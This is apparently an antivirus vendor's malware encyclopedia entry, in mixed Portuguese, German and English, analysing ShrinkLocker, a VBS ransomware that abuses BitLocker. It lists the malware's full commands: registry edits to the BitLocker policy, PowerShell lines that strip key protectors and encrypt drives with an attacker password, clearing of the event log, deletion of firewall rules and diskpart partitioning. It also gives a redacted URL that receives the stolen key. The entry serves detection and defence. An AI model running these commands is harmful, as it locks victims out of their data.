Analisado por: John Rainier Navato   

 

Generic.VBS.ShrinkLocker.A.EABA5996 (BITDEFENDER)

 Plataforma:

Windows

 Classificao do risco total:
 Potencial de dano:
 Potencial de distribuição:
 infecção relatada:
 Exposição das informações:
Baixo
Medium
Alto
Crítico

  • Tipo de grayware:
    Ransomware

  • Destrutivo:
    Não

  • Criptografado:
    Não

  • In the Wild:
    Sim

  Visão geral

Canal de infecção: Aus dem Internet heruntergeladen, Fallen gelassen von anderer Malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Detalhes técnicos

Tipo de compactação: 41,403 bytes
Tipo de arquivo: VBS
Residente na memória: Não
Data de recebimento das amostras iniciais: 27 maio 2024
Carga útil: Collects system information, Connects to URLs/IPs, Displays windows, Encrypts files, Modifies system registry

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

  • bcdboot {Boot Drive}:\windows /s {New Drive} → reinstall the boot files on the new primary partitions
  • reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f
  • reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f
  • ServerManagerCmd -install BitLocker -allSubFeatures
  • powershell.exe -Command Install-WindowsFeature BitLocker -IncludeAllSubFeature -IncludeManagementTools
  • powershell.exe -Command "$protectors = (Get-BitLockerVolume -MountPoint {Target Drive}).KeyProtector; if ($protectors -ne $null) { foreach ($protector in $protectors) { Remove-BitLockerKeyProtector -MountPoint {Target Drive} -KeyProtectorId $protector.KeyProtectorId } }"
  • powershell.exe -Command $a=ConvertTo-SecureString "'{Bitlocker Paassword}'" -asplaintext -force;Enable-BitLocker {Target Drive} -s -qe -pwp -pw $a
  • powershell.exe -Command Resume-BitLocker -MountPoint {Target Drive}
  • wevtutil -cl "Windows PowerShell"
  • netsh advfirewall set allprofiles state on
  • netsh advfirewall firewall delet rule name=all
  • schtasks /Delete /TN "copy" /F
  • schtasks /Delete /TN "disk" /F

Andere Systemänderungen

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 1

(Note: The default value data of the said registry entry is 1.)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
scforceoption = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseAdvancedStartup = 1

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableBDEWithNoTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPM = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKey = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UseTPMKeyPIN = 2

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
EnableNonTPM = 1

(Note: The default value data of the said registry entry is 0.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePartialEncryptionKey = 2

(Note: The default value data of the said registry entry is {User-defined value}.)

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\FVE
UsePIN = 2

(Note: The default value data of the said registry entry is 0.)

Datendiebstahl

Folgende Daten werden gesammelt:

  • Hard Drive Used Space
  • Hard Drive Free Space
  • Hard Drive Label
  • Total RAM
  • Used RAM
  • Available RAM
  • Computer Name
  • Available Fixed Drives
  • Generated Bitlocker Encryption Key
  • Network Performance

Entwendete Daten

Sendet die gesammelten Daten über HTTP-POST an den folgenden URL:

  • https://{BLOCKED}ted-eating-meals-top.trycloudflare.com/updatelog

Andere Details

Es macht Folgendes:

  • It terminates itself if the current domain is different from its target domain.
  • It terminates and deletes itself if the name of the operating system contains “xp”, “2000”, “2003”, or “vista”.
  • It issues the following commands to diskpart to do the following:
    • Shrink the size of non-boot partitions by 100 MB
      • Select Volume {Target Drive}
      • shrink desired=100
      • exit
    • Split the unallocated space into new 100 MB primary partitions. Format these partitions with the override parameter, assign a file system and a drive letter to each. Activate these partitions.
      • Select Volume {Target Drive}
      • create partition primary size=100
      • format quick recommended override
      • assign
      • active
      • exit
    • Remove the drive letter from the selected partition.
      • Select Volume {New Drive}
      • remove
      • exit
  • It starts the BitLocker Drive Encryption Service (BDESVC) if it is not running.
  • It changes the boot drive label into the attacker’s email.
  • It deletes the following files if the computer name is "MWIDC001":
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\Logon.vbs
    • \\{Target Domain Name}\SYSVOL\{Target Domain Name}\scripts\disk.vbs
  • It disables BitLocker's encryption key protector and deletes them. It then allows for a numerical password to be used as a protector and for encryption to be turned on.
  • It generates a random encryption key for Bitlocker using the following information as seed:
    • Pre-specified characters
    • Hard Drive Used Space
    • Hard Drive Free Space
    • Total RAM
    • Used RAM
    • Available RAM
    • Network Performance
  • It enables Bitlocker on the drives found in the affected machine using its generated encryption key.
  • It shows the following prompt when the affected machine reboots:

  Solução

Mecanismo de varredura mínima: 9.800
Primeiro arquivo padrão VSAPI: 19.458.02
Data do lançamento do primeiro padrão VSAPI: 10 julho 2024
VSAPI OPR Pattern Version: 19.459.00
VSAPI OPR Pattern veröffentlicht am: 11 julho 2024

Step 1

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 2

Restore encrypted files from backup.

Step 3

Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Ransom.VBS.SHRINKLOCKER.RG entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


Participe da nossa pesquisa!